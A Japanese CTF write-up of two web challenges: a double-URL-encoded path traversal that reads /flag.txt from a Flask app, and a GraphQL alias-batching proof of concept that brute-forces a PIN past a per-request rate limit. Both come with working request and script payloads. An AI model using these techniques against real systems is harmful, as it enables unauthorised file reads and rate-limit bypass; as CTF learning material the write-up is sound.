[web] msfrognymize
おなじみのカエルの画像ジェネレータの問題。
app.pyの以下が怪しいポイント。
@app.route('/anonymized/<image_file>') def serve_image(image_file): file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file)) if ".." in file_path or not os.path.exists(file_path): return f"Image {file_path} cannot be found.", 404 return send_file(file_path, mimetype='image/png')
python3のjoinは以下のような挙動をするので、パストラバーサルに使える。
>>> import os >>> print(os.path.join('/home', 'flag.txt')) /home/flag.txt >>> print(os.path.join('/home', '/flag.txt')) /flag.txt
なので、file_pathに/flag.txt
が入れられればフラグが得られそう。
単純に/anonymized//flag.txt
のようにしても(たぶんFlaskが)URLを標準化する感じでリダイレクト処理が走ってしまう。
だが、コード内でunquoteをわざわざ読んでいるのがミソで以下のようにURLエンコーディングを2重でかけると、
この標準化を無視できてパストラバーサルできる。
GET /anonymized/%252fflag.txt HTTP/1.1 Host: msfrognymize.be.ax User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36 Connection: close
[web] force
graphqlのPINのログイン画面が与えられる。
重要そうな部分を抜粋すると以下のようなソースコード。
const secret = randomInt(0, 10 ** 5); // 1 in a 100k?? let requests = 10; await app.register(mercurius, { schema: `type Query { flag(pin: Int): String }`, resolvers: { Query: { flag: (_, { pin }) => { if (pin != secret) { return 'Wrong!'; } return process.env.FLAG || 'corctf{test}'; } } }, routes: false }); app.post('/', async (req, res) => { if (requests <= 0) { return res.send('no u') } requests --; return res.graphql(req.body); });
総当たりの対策もされていて、攻撃の余地が無さそうに見えるが…
この前出たFlatt Security mini CTF #2での知識が役に立った。
Flatt Security mini CTF #2 Writeups - はまやんはまやんはまやん
aliasを使えば同一種類のクエリを複数個書くことができる。
つまり1リクエストに複数の確認試行ができることになる。
{flag(pin: 1234),flag(pin: 1235)}
とやるとエラーになるが、aliasを使い{a:flag(pin: 1234),b:flag(pin: 1235)}
とするとエラーにならない。
これで、リクエスト単位では60秒に10個と制限されているが、1リクエストで大量のPIN確認試行を行える。
試すと104個は一気にテストできるので、10回制限と合わせて一気に105個テストでき、必ずフラグを得ることができる。
以下のようなPOCを書くと出力にフラグが含まれてくる。
import requests import threading import time ROOT = 'https://web-force-force-853ab455478306b4.be.ax' print('[+] waiting to reset the limitation...') time.sleep(10) print('[+] START') for j in range(10): payload = "{" for i in range(10000): x = j * 10000 + i payload += f"x{x}:flag(pin:{x})," payload += "}" print(requests.post(ROOT + '/', data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text) print('[+] END')